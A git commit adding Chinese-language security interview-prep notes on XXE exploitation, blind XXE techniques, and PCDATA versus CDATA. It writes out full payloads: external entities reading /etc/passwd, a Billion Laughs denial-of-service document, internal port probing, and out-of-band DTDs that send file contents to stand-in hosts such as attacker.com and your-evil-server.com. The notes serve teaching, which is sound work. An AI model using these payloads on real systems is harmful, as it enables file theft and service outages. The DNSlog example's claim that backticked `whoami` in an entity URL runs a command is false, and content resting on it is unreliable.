Add files via upload
This commit is contained in:
@@ -0,0 +1,77 @@
|
|||||||
|
### XXE 漏洞利用方式
|
||||||
|
|
||||||
|
**1. 文件读取(最常见)**
|
||||||
|
|
||||||
|
这是 XXE 漏洞最经典的利用方式,攻击者可以利用外部实体来读取服务器上的任意文件,例如`/etc/passwd`、Web 应用配置文件等
|
||||||
|
|
||||||
|
- **利用原理**:攻击者在 XML 文档中定义一个外部实体,实体的值为一个本地文件路径。当 XML 解析器解析该实体时,就会去读取并返回该文件的内容
|
||||||
|
|
||||||
|
- **利用步骤**:
|
||||||
|
|
||||||
|
1. **构造恶意 DTD**:攻击者在 XML 文档的 DOCTYPE 声明中定义一个外部实体,通常使用 `SYSTEM` 关键字。
|
||||||
|
- 例如:`<!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>`
|
||||||
|
2. **引用实体**:在 XML 文档的主体中引用该实体。
|
||||||
|
- 例如:`<data>&xxe;</data>`
|
||||||
|
|
||||||
|
- **完整示例**:
|
||||||
|
|
||||||
|
```xml
|
||||||
|
<?xml version="1.0"?>
|
||||||
|
<!DOCTYPE foo [
|
||||||
|
<!ENTITY xxe SYSTEM "file:///etc/passwd">
|
||||||
|
]>
|
||||||
|
<root>
|
||||||
|
<data>&xxe;</data>
|
||||||
|
</root>
|
||||||
|
```
|
||||||
|
|
||||||
|
当服务器解析这个 XML 时,在 `<data>` 标签中就会回显 `/etc/passwd` 文件的内容
|
||||||
|
|
||||||
|
**2. 拒绝服务攻击(DoS)**
|
||||||
|
|
||||||
|
攻击者可以利用 XXE 漏洞,通过“递归引用”或“大量实体引用”的方式,使 XML 解析器进入死循环或消耗大量系统资源,从而导致服务崩溃
|
||||||
|
|
||||||
|
- **利用原理**:利用 XML 实体可以相互引用的特性,构造一个无限递归或指数级爆炸的实体
|
||||||
|
|
||||||
|
- **经典示例**:**十亿笑脸攻击(Billion Laughs Attack)**
|
||||||
|
|
||||||
|
```xml
|
||||||
|
<?xml version="1.0"?>
|
||||||
|
<!DOCTYPE lolz [
|
||||||
|
<!ENTITY lol "lol">
|
||||||
|
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
|
||||||
|
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
|
||||||
|
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
|
||||||
|
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
|
||||||
|
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
|
||||||
|
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
|
||||||
|
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
|
||||||
|
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
|
||||||
|
]>
|
||||||
|
<lolz>&lol9;</lolz>
|
||||||
|
```
|
||||||
|
|
||||||
|
这个 XML 文件虽然很小,但在解析时,`<lolz>` 实体会扩展为数十亿个“lol”,消耗巨大的内存和 CPU 资源,最终导致服务器崩溃
|
||||||
|
|
||||||
|
**3. 内网端口扫描**
|
||||||
|
|
||||||
|
攻击者可以利用 XXE 漏洞探测服务器所在内网中其他主机的开放端口
|
||||||
|
|
||||||
|
- **利用原理**:攻击者构造外部实体,让 XML 解析器去尝试连接内网 IP 和端口。如果端口开放,XML 解析会成功或返回特定的错误信息;如果端口关闭,则会返回连接超时等错误,通过错误信息来判断端口状态
|
||||||
|
- **利用方式**:
|
||||||
|
1. **定义外部实体**:`<!ENTITY scan SYSTEM "http://192.168.1.1:80">`
|
||||||
|
2. **发送请求**:让服务器去访问内网 IP 的端口
|
||||||
|
3. **观察响应**:如果服务器返回了“连接被拒绝”等信息,说明端口是关闭的。如果返回了“连接超时”或成功连接,则说明端口可能是开放的
|
||||||
|
|
||||||
|
**4. 盲 XXE(Blind XXE)**
|
||||||
|
|
||||||
|
如果服务器没有将 XML 解析结果回显到前端,攻击者就无法直接看到文件内容,这时就需要利用**带外(Out-of-Band)通信**来获取信息
|
||||||
|
|
||||||
|
- **利用原理**:攻击者利用外部实体向自己的服务器发送请求,并在 URL 中携带需要读取的文件内容
|
||||||
|
- **利用步骤**:
|
||||||
|
1. **构造外部实体**:攻击者在自己的服务器上搭建一个 HTTP 服务来监听请求
|
||||||
|
- 例如:`<!ENTITY % file SYSTEM "file:///etc/passwd">`
|
||||||
|
- `<!ENTITY % exfiltrate "<!ENTITY % send SYSTEM 'http://attacker.com/?data=%file;'>">`
|
||||||
|
2. **远程引用**:在主 XML 中引用攻击者的 DTD 文件
|
||||||
|
- `<!DOCTYPE foo SYSTEM "http://attacker.com/evil.dtd">`
|
||||||
|
- 当服务器解析这个 DTD 时,就会将 `/etc/passwd` 文件的内容发送到攻击者的服务器上
|
||||||
@@ -0,0 +1,118 @@
|
|||||||
|
### XXE 盲注思路
|
||||||
|
|
||||||
|
**1. 基础的带外请求(OOB)**
|
||||||
|
|
||||||
|
这是 XXE 盲注最基本的利用方式。我们首先要确认服务器是否存在 XXE 漏洞,即使没有回显
|
||||||
|
|
||||||
|
- **攻击步骤:**
|
||||||
|
|
||||||
|
1. **准备攻击服务器:** 搭建一个 Web 服务器(例如使用 Python 的 `SimpleHTTPServer`)或利用**DNSlog**平台
|
||||||
|
|
||||||
|
2. **构造恶意 XML 实体:**
|
||||||
|
|
||||||
|
```xml
|
||||||
|
<?xml version="1.0"?>
|
||||||
|
<!DOCTYPE a [
|
||||||
|
<!ENTITY % p1 SYSTEM "http://your-evil-server.com/test">
|
||||||
|
%p1;
|
||||||
|
]>
|
||||||
|
<test></test>
|
||||||
|
```
|
||||||
|
|
||||||
|
3. **发送请求:** 将上述 XML 作为请求体发送到目标服务器
|
||||||
|
|
||||||
|
4. **确认存在漏洞:** 如果你的服务器收到了来自目标 IP 的 `GET /test` 请求,就说明服务器存在 XXE 漏洞
|
||||||
|
|
||||||
|
**2. 利用带外请求获取文件内容**
|
||||||
|
|
||||||
|
确认漏洞存在后,下一步就是尝试读取服务器上的文件
|
||||||
|
|
||||||
|
- **攻击步骤:**
|
||||||
|
|
||||||
|
1. **构造恶意 DTD 文件:** 在你的攻击服务器上,创建一个 DTD 文件(例如 `evil.dtd`),内容如下:
|
||||||
|
|
||||||
|
```xml
|
||||||
|
<!ENTITY % file SYSTEM "file:///etc/passwd">
|
||||||
|
<!ENTITY % send SYSTEM "http://your-evil-server.com/?data=%file;">
|
||||||
|
```
|
||||||
|
|
||||||
|
2. **构造主 XML 请求:**
|
||||||
|
|
||||||
|
```xml
|
||||||
|
<?xml version="1.0"?>
|
||||||
|
<!DOCTYPE a [
|
||||||
|
<!ENTITY % p1 SYSTEM "http://your-evil-server.com/evil.dtd">
|
||||||
|
%p1;
|
||||||
|
%send;
|
||||||
|
]>
|
||||||
|
<test></test>
|
||||||
|
```
|
||||||
|
|
||||||
|
3. **发送请求:**
|
||||||
|
|
||||||
|
- 当服务器解析主 XML 文件时,它会首先请求 `evil.dtd`
|
||||||
|
- 解析 `evil.dtd` 后,它会读取 `file:///etc/passwd` 的内容,并将其作为 `%file` 实体的值
|
||||||
|
- 最后,它会请求 `%send` 实体,将文件内容作为 `GET` 参数发送到你的服务器
|
||||||
|
|
||||||
|
4. **接收数据:** 你会在你的服务器日志中看到类似 `GET /?data=root:x:0:0:root:/root:/bin/bash...` 的请求,从而获取 `/etc/passwd` 的内容
|
||||||
|
|
||||||
|
**3. 利用参数实体获取错误信息**
|
||||||
|
|
||||||
|
当无法通过 HTTP GET 请求直接传输数据时,可以利用 XML 解析器的错误信息来带出数据。这种方法通常用于绕过 WAF 或一些过滤
|
||||||
|
|
||||||
|
- **攻击步骤:**
|
||||||
|
|
||||||
|
1. **构造恶意 DTD 文件:** 在你的服务器上创建 DTD 文件,内容如下:
|
||||||
|
|
||||||
|
```xml
|
||||||
|
<!ENTITY % p1 "
|
||||||
|
<!ENTITY % oob SYSTEM 'http://your-evil-server.com/?data=%file;'>
|
||||||
|
">
|
||||||
|
```
|
||||||
|
|
||||||
|
2. **构造主 XML 请求:**
|
||||||
|
|
||||||
|
```xml
|
||||||
|
<?xml version="1.0"?>
|
||||||
|
<!DOCTYPE root [
|
||||||
|
<!ENTITY % file SYSTEM "file:///etc/passwd">
|
||||||
|
<!ENTITY % dtd SYSTEM "http://your-evil-server.com/evil.dtd">
|
||||||
|
%dtd;
|
||||||
|
%p1;
|
||||||
|
%oob;
|
||||||
|
]>
|
||||||
|
<root></root>
|
||||||
|
```
|
||||||
|
|
||||||
|
3. **发送请求:**
|
||||||
|
|
||||||
|
- 服务器解析主 XML 时,会首先加载 `evil.dtd`
|
||||||
|
- 然后,它会尝试解析 `%p1`,其中包含 `%oob` 的定义
|
||||||
|
- 由于 `%oob` 实体引用了 `%file`,而 `%file` 是一个文件内容,当 XML 解析器尝试将其解析为 URL 时,会因为语法错误而失败,并抛出错误信息
|
||||||
|
|
||||||
|
- **这种方法的关键在于,某些 XML 解析器会把完整的错误信息(包括外部实体的内容)带回给客户端,或者将其写入服务器日志。** 虽然不能直接从响应中看到,但可以利用这个特性进行注入
|
||||||
|
|
||||||
|
**4. 利用 DNSlog 获取数据**
|
||||||
|
|
||||||
|
当目标服务器无法出网,或者 HTTP 协议被严格过滤时,DNSlog 是一个非常好的选择
|
||||||
|
|
||||||
|
- **攻击步骤:**
|
||||||
|
|
||||||
|
1. **准备 DNSlog 平台:** 获取一个 DNSlog 域名,例如 `hacker.dnslog.cn`
|
||||||
|
|
||||||
|
2. **构造 XML 请求:**
|
||||||
|
|
||||||
|
```xml
|
||||||
|
<?xml version="1.0"?>
|
||||||
|
<!DOCTYPE a [
|
||||||
|
<!ENTITY % p1 SYSTEM "http://`whoami`.hacker.dnslog.cn">
|
||||||
|
%p1;
|
||||||
|
]>
|
||||||
|
<test></test>
|
||||||
|
```
|
||||||
|
|
||||||
|
3. **发送请求:**
|
||||||
|
|
||||||
|
- 服务器解析 XML 时,会尝试解析 `whoami` 命令的输出,并将其作为子域名,向 `hacker.dnslog.cn` 发起 DNS 查询
|
||||||
|
|
||||||
|
4. **查看结果:** 你会在 DNSlog 平台的日志中看到类似 `www-data.hacker.dnslog.cn` 的查询记录,从而获取到 `whoami` 命令的输出
|
||||||
@@ -0,0 +1,40 @@
|
|||||||
|
### PCDATA 和 CDATA 的区别
|
||||||
|
|
||||||
|
**PCDATA**
|
||||||
|
|
||||||
|
PCDATA 是 **可解析字符数据**。在XML或HTML中,当解析器遇到 PCDATA 时,它会解析其中的特殊字符。这意味着,如果你的数据中包含 `<`、`>`、`&` 等字符,解析器会将其视为标签或实体的开始
|
||||||
|
|
||||||
|
例如,在XML中:
|
||||||
|
|
||||||
|
```xml
|
||||||
|
<note>
|
||||||
|
<body>这是一个 <b>粗体</b> 文本。</body>
|
||||||
|
</note>
|
||||||
|
```
|
||||||
|
|
||||||
|
这里的 `<` 会被解析成 `<`,`>` 会被解析成 `>`。如果你在XML元素中直接写入 `<script>` 标签,解析器会把它当作一个新的节点来处理,而不是纯粹的文本内容。在渗透测试中,如果一个 Web 应用将用户输入作为 PCDATA 处理,但没有进行充分的过滤,攻击者可以注入恶意代码,如 XSS (跨站脚本) 攻击
|
||||||
|
|
||||||
|
**CDATA**
|
||||||
|
|
||||||
|
CDATA 是 **不可解析字符数据**。与 PCDATA 相反,解析器会将其中的所有内容都视为纯文本,不会对 `<`、`>`、`&` 等特殊字符进行解析。CDATA 块通常用 `<![CDATA[ ... ]]>` 语法来定义
|
||||||
|
|
||||||
|
例如,在XML中:
|
||||||
|
|
||||||
|
```xml
|
||||||
|
<note>
|
||||||
|
<script_code><![CDATA[
|
||||||
|
if (x < 10 && y > 5) {
|
||||||
|
alert('Hello!');
|
||||||
|
}
|
||||||
|
]]></script_code>
|
||||||
|
</note>
|
||||||
|
```
|
||||||
|
|
||||||
|
在这个例子中,`CDATA` 块内的所有内容,包括 `<`、`>`、`&`,都会被原封不动地当作字符串来处理。即使代码中包含了类似HTML 标签的字符,解析器也不会将它们当作标签来处理。这使得 CDATA 在需要嵌入包含特殊字符的文本(如代码片段、JavaScript 等)时非常有用
|
||||||
|
|
||||||
|
| 特性 | PCDATA (可解析字符数据) | CDATA (不可解析字符数据) |
|
||||||
|
| -------- | ------------------------------------------------------------ | ------------------------------------------------------------ |
|
||||||
|
| 解析方式 | 解析特殊字符(<、>、& 等) | 将所有内容视为纯文本,不解析特殊字符 |
|
||||||
|
| 主要用途 | 包含普通的、可解析的文本内容 | 包含代码、脚本或其他含有特殊字符的文本 |
|
||||||
|
| 攻击风险 | 高。如果对用户输入处理不当,容易导致 XSS、XML 实体注入等漏洞。 | 低。由于其内容被视为纯文本,它能有效防止特殊字符被解释为标签或代码。 |
|
||||||
|
| 攻击场景 | 当应用程序将用户输入直接放入PCDATA区域,而没有进行充分的转义时,攻击者可以注入 <script>alert('XSS')</script> 等代码。 | 除非应用程序对 CDATA 块本身进行了处理或二次解析,否则在 CDATA 内部直接进行注入攻击是无效的。 |
|
||||||
@@ -1 +1,20 @@
|
|||||||
|
# 网安面试题(涵盖护网、红队、逆向、二进制)
|
||||||
|
|
||||||
|
上万道安全面试题已经全部为您划分好,适用于网络安全所有岗位!!!
|
||||||
|
|
||||||
|
HR:请问…………
|
||||||
|
|
||||||
|
我:叽里咕噜说啥呢,看看八股文上写了没
|
||||||
|
|
||||||
|
(Summary.md 是目录噢!!)
|
||||||
|
|
||||||
|
**🙏 特别感谢名单**
|
||||||
|
|
||||||
|
在整理和完善本项目的过程中,以下朋友给予了宝贵的帮助与支持,在此表示诚挚的感谢!(排名不分先后)
|
||||||
|
|
||||||
|
- **@用户名1** —— 提供了大量安全面试题方向的补充
|
||||||
|
- **@用户名2** —— 纠正了多个问题的答案与表述
|
||||||
|
- **@用户名3** —— 贡献了真实面试题经验分享
|
||||||
|
- **@用户名4** —— 对内容结构与目录提出改进建议
|
||||||
|
|
||||||
|
如果您也愿意参与本项目,欢迎通过 **微信: XR3327026244** 投稿面试题或反馈问题,我们会在后续版本中加入您的名字
|
||||||
|
|||||||
Reference in New Issue
Block a user